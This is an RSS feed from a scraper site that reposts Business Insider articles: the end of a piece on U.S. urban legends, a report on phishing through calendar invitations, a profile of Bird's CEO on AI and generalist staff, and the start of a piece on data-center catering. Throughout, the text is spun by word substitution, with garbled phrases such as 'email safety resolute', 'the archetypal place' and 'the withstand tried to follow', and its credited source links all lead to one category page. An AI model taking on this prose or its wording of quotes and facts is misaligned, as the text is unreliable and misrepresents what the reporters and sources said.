<figcaption e-name="image-caption"> <span>Bunnyman Bridge is in Clifton, Virginia.</span> <span> <span e-name="image-source" itemprop="creditText">Michael Williamson/The Washington Post/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>The Bunnyman's fable starts alongside what all fine municipal fable starts with: An insane asylum.</p><p>As reported by <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">WAMU 88.5</a>, the group of Clifton were so up in arms concerning the asylum that they were capable to get all of the patients transferred. The patients were being moved on a bus that crashed, and the constabulary were capable to capture all the patients apart from one &mdash; the Bunnyman.</p><p>According to the tale, the Bunnyman lived in the woods and sustained himself on woodland creatures (like bunnies), but eventually, he attacked humans.</p><p>Some group reported being attacked by a man alongside a hatchet. Other tales say that groups of teens would see a brilliant ray and afterward would breeze up deceased and strung up complete a bridge, the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Washingtonian</a> reported.</p> </div> </div> <div> <h2>WEST VIRGINIA: Mothman</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40382389aff80028ab7523&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1686,&quot;aspectRatioH&quot;:1265}}' alt="mothman"> </p></div> <span> <figcaption e-name="image-caption"> <span>The Mothman statue in Point Pleasant, West Virginia.</span> <span> <span e-name="image-source" itemprop="creditText">Jack R Perry Photography/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>In 1966, stories say that West Virginia was visited by an insectoid flying animal alongside brilliant red eyes who resembled the two a moth and a man, according to Atlas Obscura. He was spotted flying about the town of Point Pleasant, alongside alongside glowing lights and the likewise conspiratorial Men in Black</p><p>Mothman's origins have been stated to be supernatural, alien, or a authorities test gone wrong.</p><p>But Point Pleasant has embraced the monster, erecting a statue, creating a museum, and equal dedicating a celebration to him. In 2002, a movie leading Richard Gere, "The Mothman Prophecies," was released.</p> </div> </div> <div> <h2>WISCONSIN: Boy Scout Lane</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f403a2689aff80028ab7537&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:841,&quot;aspectRatioH&quot;:630}}' alt="road wisconsin"> </p></div> <span> <figcaption e-name="image-caption"> <span>The highway is in Stevens Point, Wisconsin.</span> <span> <span e-name="image-source" itemprop="creditText">Marissa English/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>The narrative of what exactly happened at Boy Scout Lane varies, but they all end alongside the identical conclusion: a collection of Boy Scouts deceased on the road.</p><p>In several stories, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>McDowell News</a> wrote, there was a bus collision alongside no survivors, or they were murdered by their bus driver, or they fair mysteriously disappeared into the woods one by one.</p><p>Visitors have reported seeing a swinging build in the trees, emotion akin they are being watched, and finding child-size handprints.</p> </div> </div> <div> <h2>WYOMING: Devils Tower</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d80f9e36f24eb009a4351e7&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:4688,&quot;aspectRatioH&quot;:3516}}' alt="Devil&#039;s Tower is located in the Bear Ridge Mountains, Wyoming."> </p></div> <span> <figcaption e-name="image-caption"> <span>Devils Tower is located in the Bear Ridge Mountains, Wyoming.</span> <span> <span e-name="image-source" itemprop="creditText">Patrick Gorski/NurPhoto via Getty Images</span> </span> </figcaption> </span></figure> <div> <p>There's no specialized agreement on why Devils Tower looks the way it does, but multiple Native American innovation stories trait the landmark's form to a tragedy.</p><p>According to the assorted stories, two boys were attacked and chased by a ample bear, so they ran up the rock formation. The withstand tried to follow, but couldn't create the ascend and remaining scratches all the way downward the rock as it slid down, according to Rapid City's tourism website.</p> </div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/the-creepiest-urban-legend-from-every-us-state-72124</guid> <pubDate>Mon, 12 Oct 2026 10:30:01 +0700</pubDate> <author><![CDATA[support@mycoding.id (Gabbi Shaw)]]></author> </item> <item> <title><![CDATA[The annoying scam that may be hiding in your work calendar]]></title> <description><![CDATA[The annoying scam that may be hiding in your work calendar. Scammers are using calendar invitations to lure workers to phishing sites and counterfeit calls. Here's why the attacks can be so convincing.]]></description> <media:thumbnail url="https://i.insider.com/6ac695b07bf24b4467e68dbf?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/the-annoying-scam-that-may-be-hiding-in-your-work-calendar-72125</link> <content:encoded><![CDATA[<div data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ac695947bf24b4467e68dbb?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ac695947bf24b4467e68dbb?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ac695947bf24b4467e68dbb?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ac695947bf24b4467e68dbb?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ac695947bf24b4467e68dbb?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ac695947bf24b4467e68dbb?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ac695947bf24b4467e68dbb?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="00." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>That gathering on your calendar power not be what it seems.</span> <span> <span e-name="image-source" itemprop="creditText">Getty Images; Rebecca Zisser/BI</span> </span> </figcaption> </span> </span></figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>When Pete Thomas spots a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">meeting on his calendar</a> that he doesn't recall scheduling, the startup administrator launches a mini investigation.</p><p>He searches his inbox for the sender's name, and if that fails, he tries LinkedIn. If Thomas motionless comes up bare or senses tomfoolery, he'll scan the invitation's contents for odd URLs or another red flags before hitting delete. He's received multiple in latest months that unsuccessful those checks.</p><p>"It's a distraction," stated Thomas, CTO of Kapwork, a fintech resolute in Los Angeles. "You continually have to appearance for context."</p><p>As if email and content communication scams weren't enough, workers are contending alongside a expanding motion of phishing attempts arriving through their calendars.</p><p>In August, calendar-led attacks surged additional than tenfold from July, according to a latest study from email safety resolute Sublime, during a midyear study from Microsoft established that specified attacks nearly quadrupled in June from May.</p><p>Cybersecurity pros say calendars recommendation attackers advantages complete additional traditional avenues, and that AI is assisting to create the schemes additional convincing. They additionally notify that <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">AI agents</a> could provision attackers a leg up by accepting fraudulent invitations on workers' behalf.</p><p>"You abruptly have new and engaging opportunities since of these individual agents," stated Hugh Thompson, program place of RSAC, an annual cybersecurity conference, and erstwhile chief innovation authoritative of application resolute Symantec.</p><h2 id="66fa0a20-f07d-4d01-b752-2a32f6f46144" data-toc-id="66fa0a20-f07d-4d01-b752-2a32f6f46144"><strong>Risky business</strong></h2><p>The goal of most calendar scammers, digital safety experts say, is to lure victims to phishing sites or deploy social engineering attacks that trick group into revealing delicate information. The maneuver is particularly problematic for workers in jobs that depend on regularly gathering alongside strangers online, specified as sales, recruiting, consulting, and another client-facing roles.</p><p>Aman Gairola, cofounder of Indian scheme agency Say Design, idea he'd landed a possible client in June whenever person booked a gathering on his calendar through his company's website. The invitation included a nexus to what appeared to be a Google Drive directory containing a project brief.</p> <p>Gairola stated he clicked the nexus and landed on a leaf that looked akin Google Drive, but item felt off. He checked the URL, saw the location was fake, and stopped abbreviated of beginning any files.</p><p>"If I have to charge this, how convincing it is, I would charge it a 9.5 out of 10," stated Gairola,<strong> </strong>adding that Say Design is considering removing the choice to publish intro calls immediately through its website and switching to a form-based approach.<strong> </strong>"It has certainly added a tier of scrutiny to the invites that we get."</p><h2 id="a367f68d-5cb4-4194-a33a-7bb21cb35a0c" data-toc-id="a367f68d-5cb4-4194-a33a-7bb21cb35a0c"><strong>Attractive vehicles</strong></h2><p id="16f427bb-8484-4f6b-a9a1-56f05e224680">Calendar invitations are appealing vehicles for scammers in part since they create a awareness of urgency, stated Mark Beare, an administrator at cybersecurity resolute Malwarebytes. Workers are average targets since many are used to receiving <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">meeting invitations from colleagues</a>, clients, and partners, he added.</p><p>Another allure is that <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">calendar invites</a> are processed alternatively from norm email attachments, according to the Microsoft report. Malicious links can district on users' calendars without requiring them to explicitly open an attachment, the application elephantine said.</p><p>Calendar invitation scams frequently obtain one of two forms. In one, an invitation includes a compromised gathering link, or a form designed to collect credentials or immediate person to download malware, stated Ron Kerbs, CEO of Kidas, which develops tools to detect scams and deepfakes in sound calls.</p><p>In the other, he said, a casualty joins what appears to be a legit video call, lone to encounter a scammer posing as person they have logic to trust, specified as an employee at a genuine company. The impersonator power use the name of an genuine staffer, but a counterfeit email address, as fine as <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">AI-generated audio or video</a> to create the ruse additional convincing, he said.</p><p>"They're using deepfake innovation to appearance the identical as the guy from IT," Kerbs said.</p><h2 id="8505e3a5-cb7f-4b4b-8f2c-e3c3f73d598d" data-toc-id="8505e3a5-cb7f-4b4b-8f2c-e3c3f73d598d"><strong>Double whammy</strong></h2><p>Sometimes, the sender really is person you know.</p><p>Scores of Jenn Drummond's contacts lately received an unexpected calendar invitation from her email address, alert that they had been served alongside a court summons.</p><p>The invitation, which was sent following Drummond's email document was hacked during she was boarding a flight, connected to a counterfeit lawful notice requesting their financial information.</p><p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Drummond, a world-record-setting mountaineer</a> and keynote speaker, stated that equal if the bulk of recipients knew it was a scam, she motionless feels embarrassed that several group power think she's suing them or that she was hacked in the archetypal place.</p><p id="85a14041-082b-4079-8d89-407e5e85b0c1">"What are group going to think? I'm not trustworthy &mdash; and your brand is what you build rely on," Drummond said. "I was ill to my stomach."</p><h2 id="4c996f9f-a78f-49b8-89a2-bd3d424c26d1" data-toc-id="4c996f9f-a78f-49b8-89a2-bd3d424c26d1"><strong>Protecting yourself</strong></h2><p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Cybersecurity veterans</a> say there are limits to what group can fairly anticipate to catch. Matthew Woodyard, director of danger intellect at character and admission administration business Okta, stated that the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">burden of securing users</a> mostly falls on the businesses that run the services.</p><p>"The strongest mitigation isn't person learning concerning 'spotting a counterfeit invite,' since the invites increasingly appearance identical to lawful ones," he said. "It's giving users item that can't be phished in the archetypal place."</p><p>Wooyard stated that passkeys can assistance resolve the problem. Because they're created for a particular page, they lone activity on the authentic website, fairly than a mock-up. That removes the need for group to create a judgement call whenever logging in, Woodyard said.</p><p>"Until phishing-resistant factors akin passkeys rotate into the default fairly than an opt-in afterthought, phishing attacks volition keep working," Woodyard said.</p> </div> <p> <h2> Read next </h2> </p> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Sarah E. Needleman covers guidance and the office for Business Insider.</span><span>Previously, she was a newsman for The Wall Street Journal for additional than two decades, covering innovation companies, entrepreneurship, and recruiting.</span><span>In 2022, Sarah received an honest citation alongside WSJ colleagues for their safety of office misconduct at Activision Blizzard from the Society for Advancing Business Editing and Writing.</span><span>Sarah graduated from Rutgers University in 1997 alongside a bachelor's flat in journalism. She lives alongside her husband, daughter, and fur kid (an Australian labradoodle) in northern New Jersey.</span> </p> </div> </div> <div> <div> <p><span>Ana&nbsp; writes concerning office trends, careers, and how AI is reshaping application engineering roles. She additionally regularly interviews C-suite executives concerning their trajectories and guidance insights.</span><span>Ana is the presenter of "Get Better at Work," a sequence that offers direction concerning the habits and behaviors that can assistance workers remain out and build their careers. She additionally hosts "Work Shift," which breaks downward the biggest office news of the week. She holds a master&rsquo;s flat in multimedia reporting from NYU and has been featured on BBC, NPR, and another earth media platforms.</span><span>Have a tip? You can communication her via email at<span> aaltchek@businessinsider.com&nbsp;</span>or through the secure-messaging app Signal at <span>aalt.19.</span></span> </p> </div> </div> <div> <div> <p><span>Tim reports on the office and the forces reshaping how group create a living, including AI, distant work, and company cost-cutting. His reporting examines how those shifts are changing careers, management, hiring, achievement expectations, and workers&rsquo; day-to-day lives, particularly in fast-changing sectors specified as tech.</span><span>He earlier reported on Wall Street and the inventory market for the Associated Press.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/the-annoying-scam-that-may-be-hiding-in-your-work-calendar-72125</guid> <pubDate>Mon, 12 Oct 2026 10:17:01 +0700</pubDate> <author><![CDATA[support@mycoding.id (Sarah E. Needleman,Ana Altchek,Tim Paradis)]]></author> </item> <item> <title><![CDATA[A tech CEO who cut his staff from over 1,000 to 120 says AI is boosting the value of 'high-agency' generalists]]></title> <description><![CDATA[A tech CEO who cut his staff from over 1,000 to 120 says AI is boosting the value of 'high-agency' generalists. Bird CEO Robert Vis says AI gives an border to high-agency, multidisciplinary workers who can obtain ownership throughout roles.]]></description> <media:thumbnail url="https://i.insider.com/6ab3bde5d15f8a57297497ba?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/a-tech-ceo-who-cut-his-staff-from-over-1-000-to-120-says-ai-is-boosting-the-value-of-high-agency-generalists-72126</link> <content:encoded><![CDATA[<div data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ab3bdbed15f8a57297497b9?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ab3bdbed15f8a57297497b9?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ab3bdbed15f8a57297497b9?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ab3bdbed15f8a57297497b9?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ab3bdbed15f8a57297497b9?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ab3bdbed15f8a57297497b9?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ab3bdbed15f8a57297497b9?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Bird CEO Robert Vis at the Founders Forum Global gathering in Great Tew, UK, in June 2024" decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Bird's CEO Robert Vis says AI is making high-agency generalists additional precious at work.</span> <span> <span e-name="image-source" itemprop="creditText">Jose Sarmento Matos/Bloomberg via Getty Images</span> </span> </figcaption> </span> </span></figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>Being a expert may be getting harder at several AI-powered companies.</p><p>"The overview that we were extremely focused on was group alongside elevated agency," Robert Vis, the CEO of communications infrastructure business Bird, told Business Insider. "If you're elevated agency and you're complete stack, afterward AI leverages you to basically be your finest self."</p><p>Vis made the comments in delayed September following Bird announced that it had completed $450 myriad in debt financing led by JPMorgan, Capital One, and Citi. </p><p>The business additionally stated its <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">head figure fell</a> from additional than 1,000 group to 120 complete approximately three years as it automated additional of its operations and preferred workforce alongside elevated agency and multidisciplinary skills.</p><p>Vis stated AI is assisting workforce activity throughout tasks that companies have historically treated as distinct roles. In engineering, for example, he stated the innovation favors group who comprehend not fair how to compose code but additionally how a merchandise should work.</p><p>"If you're an engineer and you're extremely fine at fair code but you have no merchandise sense, that wouldn't activity at Bird," he said.</p><h2 id="91473415-ea8e-4022-899c-e62586a6f51b" data-toc-id="91473415-ea8e-4022-899c-e62586a6f51b">A new benevolent of generalist</h2><p>Vis isn't the archetypal administrator to contend that AI could provision an border to workers alongside range and initiative.</p><p>Figma CEO Dylan Field has stated the innovation is empowering "<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">generalist behavior</a>" as the once-distinct worlds of product, design, development, and investigation commencement to blur.</p><p>Ravi Kumar, CEO of Cognizant, has likewise stated workers who <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">combine topic expertise</a> alongside scientific skills may rotate into additional applicable than group alongside narrow ability alone.</p> <p>The trend is not universal, however. <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Business Insider earlier reported</a> that consulting firms are increasingly prioritizing specialists alongside profound industry or specialized ability as AI erodes the value of broad scheme work.</p><p>At Bird, however, Vis stated <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">AI is widening the work</a> workforce can obtain on beyond engineering. The tools can assistance workers run inside scheme systems or automate regular parts of support, sales, and accounting.</p><p>"It's not akin you need zero designers, but you need less, and it enables complete teams to be capable to output fine scheme inside a example that a scheme squad sets," Vis said.</p><p>That does not average all expert function disappears, Vis said, noting that Bird motionless employs specialists akin a income accountant and safety engineers.</p><p>The company's layoffs engaged a qualitative appraisal of whether workers were multidisciplinary, performing strongly, and wanted to activity in a additional autonomous environment.</p><p>"If you had extremely elevated achievement but you were not multidisciplinary, you would not stay," Vis said.</p><p>The Amsterdam-founded business stated it generated $165 myriad in EBITDA &mdash; earnings before interest, taxes, depreciation, and amortization, a average measure of functioning achievement &mdash; in 2025 following extensively automating its operations.</p><p>Still, Vis stated companies should not use AI merely as a pretext to cut workers. Instead, he said, leaders should acknowledge repetitive tasks that no longer need to be done and measure whether AI can eliminate them without overburdening the group who remain.</p><p>"I don't think group have to be looking to decrease their employee base," Vis said. "The instant you are struggling to have certain workforce execute fine inside your surroundings or have a certain amount of output, afterward I think AI is a fine tool to automate additional of this."</p> </div> <p> <h2> Read next </h2> </p> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <div> <p><span>Thibault is a tech newsman at Business Insider's London office.</span><span>He covers the intersection of innovation and activity &mdash; focusing on AI&rsquo;s effect on the workplace, job and cognitive skills, and how financial changes are affecting careers.</span><span>Before moving to the trending team, Thibault covered global affairs, including the Russia-Ukraine war, tensions in the South China Sea, and Russia&rsquo;s economics on the news desk.</span><span>He has earlier worked at the Daily Express and held internships at Agence France-Presse, Politico Europe, and Factal.Il parle fran&ccedil;ais. Habla espa&ntilde;ol.</span><span>Email Thibault at tspirlet@businessinsider.com, nexus alongside him on LinkedIn @<a href="https://en.mycoding.id/category/business" target="_blank">ThibaultSpirlet</a>, or prosecute him on X @<a href="https://en.mycoding.id/category/business" target="_blank">ThibaultSpirlet</a> and BlueSky&nbsp;@<a href="https://en.mycoding.id/category/business" target="_blank">thibaultspirlet.bsky.social</a>.</span><span><span>Expertise</span></span></p><ul><li><span>AI and the forthcoming of work&nbsp;</span></li><li><span>Job and cognitive skills in the AI economy</span></li><li><span>Workforce trends</span></li><li><span>First-person, "as-told-to" stories</span></li></ul></div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/a-tech-ceo-who-cut-his-staff-from-over-1-000-to-120-says-ai-is-boosting-the-value-of-high-agency-generalists-72126</guid> <pubDate>Mon, 12 Oct 2026 10:11:01 +0700</pubDate> <author><![CDATA[support@mycoding.id (Thibault Spirlet)]]></author> </item> <item> <title><![CDATA[Welcome to the Magical Mystery Tour of the AI age]]></title> <description><![CDATA[Welcome to the Magical Mystery Tour of the AI age. Savvy operators are marketing data center workers places to eat, sleep, park, and perform to prosperity in on the AI aureate rush.]]></description> <media:thumbnail url="https://i.insider.com/6aca58c442403ad8039a560c?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/welcome-to-the-magical-mystery-tour-of-the-ai-age-72127</link> <content:encoded><![CDATA[<div> <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;Business Insider&quot;}'> <svg xmlns="http://www.w3.org/2000/svg" width="1365" height="120" viewbox="0 0 1365 120"> Business Insider <path d="M0 2.46h49.1c27.31 0 41.59 14.12 41.59 31.46 0 11.97-6.75 20.1-16.11 24.4v.31c11.97 4.3 18.72 13.81 18.72 25.93 0 17.34-13.35 32.53-42.2 32.53H0V2.46Zm47.57 45.42c8.13 0 11.82-4.14 11.82-8.75s-3.68-8.9-11.82-8.9H33.15v17.65h14.42Zm.46 41.43c8.59 0 12.74-4.14 12.74-9.51s-4.3-9.51-12.58-9.51H33.15v19.03h14.88Zm52.32-18.87V2.46h33.45v67.67c0 12.74 6.29 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0-5.52-7.83-7.98-17.19-11.36-12.28-4.45-31.76-12.43-31.76-34.68 0-20.1 15.81-36.52 44.04-36.52 12.43 0 23.63 3.22 31.92 7.98Zm88.54 0v29.46c-7.21-5.06-19.49-8.59-29.46-8.59-9.05 0-13.66 2.92-13.66 6.75s5.06 5.83 14.12 9.05c15.35 5.37 36.21 12.58 36.21 36.98 0 21.79-16.42 37.9-45.27 37.9-14.88 0-28.54-4.3-36.98-9.97v-31c8.29 6.75 20.87 12.12 32.99 12.12 10.28 0 15.04-3.84 15.04-8.13 0-5.52-7.83-7.98-17.19-11.36-12.28-4.45-31.76-12.43-31.76-34.68 0-20.1 15.81-36.52 44.04-36.52 12.43 0 23.63 3.22 31.92 7.98Zm45.97 109.33h33.45V2.69h-33.45v114.63ZM919.08 2.69h-31.76v60.46h-.15L845.89 2.69h-31.92v114.63h31.76V55.79h.15l41.28 61.53h31.92V2.69ZM972.92.23c-28.24 0-44.04 16.42-44.04 36.52 0 22.25 19.49 30.23 31.76 34.68 9.36 3.38 17.19 5.83 17.19 11.36 0 4.3-4.76 8.13-15.04 8.13-12.12 0-24.71-5.37-32.99-12.12v31c8.44 5.68 22.1 9.97 36.98 9.97 28.85 0 45.27-16.11 45.27-37.9 0-24.4-20.87-31.61-36.21-36.98-9.05-3.22-14.12-5.06-14.12-9.05s4.6-6.75 13.66-6.75c9.97 0 22.25 3.53 29.46 8.59V8.21C996.55 3.45 985.35.23 972.92.23Zm46.94 117.08h33.45V2.69h-33.45v114.63Zm80.71-30.23h6.45c17.34 0 28.54-9.82 28.54-27.01s-11.2-27.16-28.54-27.16h-6.45v54.17Zm68.75-27.01c0 34.53-26.09 57.24-63.53 57.24h-38.67V2.69h38.67c37.44 0 63.53 22.86 63.53 57.39Zm9.07 57.24h79.18V87.54h-45.73V73.27h41.12V46.26h-41.12V32.45h45.73V2.69h-79.18v114.63Zm131.83-60.46c8.44 0 15.04-3.99 15.04-11.97s-6.6-11.97-15.19-11.97h-7.06v23.94h7.21Zm54.78 60.46h-39.44l-21.79-35.45h-.77v35.45h-33.45V2.69h40.82c28.7 0 48.64 12.74 48.64 39.9 0 10.74-4.76 26.39-23.79 34.37l29.77 40.36Z"></path> </svg></a> <div data-component-type="series-dropdown" data-load-strategy="lazy" data-track-view='&quot;edit_series_recirc&quot;}'> <p>Coverage of data centers and their effect on business, the environment, neighborhoods, and jobs.</p> </div> <div data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://www.businessinsider.com//90" srcset="https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=400&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 400w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=500&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 500w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=700&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 700w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=1000&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 1000w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=1300&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 1300w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=2000&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 2000w" sizes=" 1280px) 900px" alt="Kitchen employee in dreary garments slides a tray of prepared food onto a rack beside business ovens." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>National Jobsite Catering serves concerning 1,500 meals on an average day at all of its dozen data center building sites.</span> <span> <span e-name="image-source" itemprop="creditText">Jason Andrew for BI</span> </span> </figcaption> </span> </span></figure> </div> <p> <span>Hyperscalers have promised spillover benefits for the towns hosting data center construction. Can it last?</span> </p> <div data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://www.businessinsider.com//90" srcset="https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=400&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 400w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=500&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 500w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=700&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 700w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=1000&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 1000w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=1300&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 1300w, https://i.insider.com/6aca571b7bf24b4467e6a0e0?width=2000&amp;format=jpeg&amp;auto=avif&amp;quality=90,90 2000w" sizes=" 1280px) 900px" alt="Kitchen employee in dreary garments slides a tray of prepared food onto a rack beside business ovens." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>National Jobsite Catering serves concerning 1,500 meals on an average day at all of its dozen data center building sites.</span> <span> <span e-name="image-source" itemprop="creditText">Jason Andrew for BI</span> </span> </figcaption> </span> </span></figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>At 5 a.m. in <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Northern Virginia</a>, chefs are already preparing poultry and chile roja enchiladas, fried shrimp tacos, and big batches of grain and beans to nourish thousands of data center building workers.</p><p>By delayed morning, a squad brings the food from the off-site galley to a interrupt shelter anywhere workers can choice up lunch without leaving the worksite. They don't pay: The Big Tech companies spending billions on AI infrastructure ft the bill.</p><p>On an average day, National Jobsite Catering serves concerning 1,500 meals at all of its dozen data center building sites throughout Northern Virginia, Texas, Ohio, Louisiana, Nevada, and Georgia, originator Scott Kaplan tells me. The busiest sites assist twice as many. After one to three years, the crews cover up and move on. Kaplan, whose endeavor used to comprise of a fleet of food trucks catering one-off events alongside the East Coast, designed a project that can prosecute them. If you build it, they volition cook.</p> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" 